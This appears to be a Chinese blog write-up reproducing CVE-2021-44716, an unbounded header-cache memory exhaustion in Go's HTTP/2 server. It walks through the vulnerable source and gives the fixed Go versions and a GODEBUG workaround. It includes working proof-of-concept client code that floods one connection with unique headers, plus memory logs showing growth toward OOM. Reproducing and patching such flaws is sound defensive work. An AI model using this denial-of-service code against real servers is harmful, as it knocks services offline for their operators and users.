CVE-2021-44716复现与浅析

启动httpserver

标准库启动一个支持http/2的服务,需要开启tls认证,否则只能使用HTTP/2 Cleartext 也就是golang.org/x/net/http2/h2c来做一个无需tls认证的http/2服务。这里使用标准库 开启tls认证的http服务。

package main


import (
    "fmt"
    "log"
    "net/http"
    "runtime"
    "sync/atomic"
    "time"
)


var requestNum uint32


func main() {
    srv := &http.Server{
        Addr:    "127.0.0.1:2333",
        Handler: http.HandlerFunc(hello),
    }


    go func() {
        ticker := time.NewTicker(time.Second)
        var stat runtime.MemStats
        for {
            <-ticker.C
            runtime.ReadMemStats(&stat)
            fmt.Printf("Alloc: %d Bytes, Request Number: %d \n", stat.Alloc, atomic.LoadUint32(&requestNum))
        }
    }()
    log.Fatal(srv.ListenAndServeTLS("server.crt", "server.key"))
}


func hello(w http.ResponseWriter, r *http.Request) {
    atomic.AddUint32(&requestNum, 1)
}

client调用测试

由于是tls认证开启,所以client也需要携带证书来发起请求,当然也可以关闭认证。

    var clt = &http.Client{
        Timeout: 5 * time.Second,
    }

    clt.Transport = &http2.Transport{TLSClientConfig: &tls.Config{
        InsecureSkipVerify: true,
    }}


    ticker := time.NewTicker(10 * time.Millisecond)
  
    for i := 0; i < 10; i++{
        req, err := http.NewRequest("GET", "https://localhost:2333", nil)
        if err != nil {
            log.Fatal(err)
        }
        for j := 0; j < 1024; j++ {
            req.Header.Set(fmt.Sprintf("header-header-header-header-foo-header-header-header-header-foo%d-bar%d", i, j), "foo-bar")
        }
        resp, err := clt.Do(req)
        if err != nil {
            log.Fatal(err)
        }
        fmt.Println("success,", resp.Proto)
        <-ticker.C
    }

可以看到随着请求的次数增加,内存呈快速增长,很快就可以达到oom的结果。

Alloc: 229440 Bytes, Request Number: 0 
Alloc: 229456 Bytes, Request Number: 0 
Alloc: 229744 Bytes, Request Number: 0 
Alloc: 229760 Bytes, Request Number: 0 
Alloc: 283328 Bytes, Request Number: 0 
Alloc: 31783768 Bytes, Request Number: 101 
Alloc: 62124440 Bytes, Request Number: 201 
Alloc: 117848088 Bytes, Request Number: 300 
Alloc: 123038304 Bytes, Request Number: 400 
Alloc: 175361880 Bytes, Request Number: 497 
Alloc: 233078672 Bytes, Request Number: 597 
Alloc: 182120880 Bytes, Request Number: 696

代码浅析

在源代码src/net/http/h2_bundle.go(GO.16)或http2/server.go(GO.17)代码中,可以看到下面代码

func (sc *http2serverConn) canonicalHeader(v string) string {
    sc.serveG.check()
    http2buildCommonHeaderMapsOnce()
    cv, ok := http2commonCanonHeader[v]
    if ok {
        return cv
    }
    cv, ok = sc.canonHeader[v]
    if ok {
        return cv
    }
    if sc.canonHeader == nil {
        sc.canonHeader = make(map[string]string)
    }
    cv = CanonicalHeaderKey(v)
    sc.canonHeader[v] = cv // here
    println(len(sc.canonHeader))
    return cv
}

在代码中可以看见,header进行转换过程中,当前连接中的header保存在canonHeader的map中,只要单连接不断开,并且一直发起http请求,携带大量随机header,就会导致oom以至于server crash掉。

解决方案

  1. 升级golang版本到1.17.5或者1.16.12
  2. 启动服务时携带GODEBUG=http2server=0

参考链接

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

10 − 6 =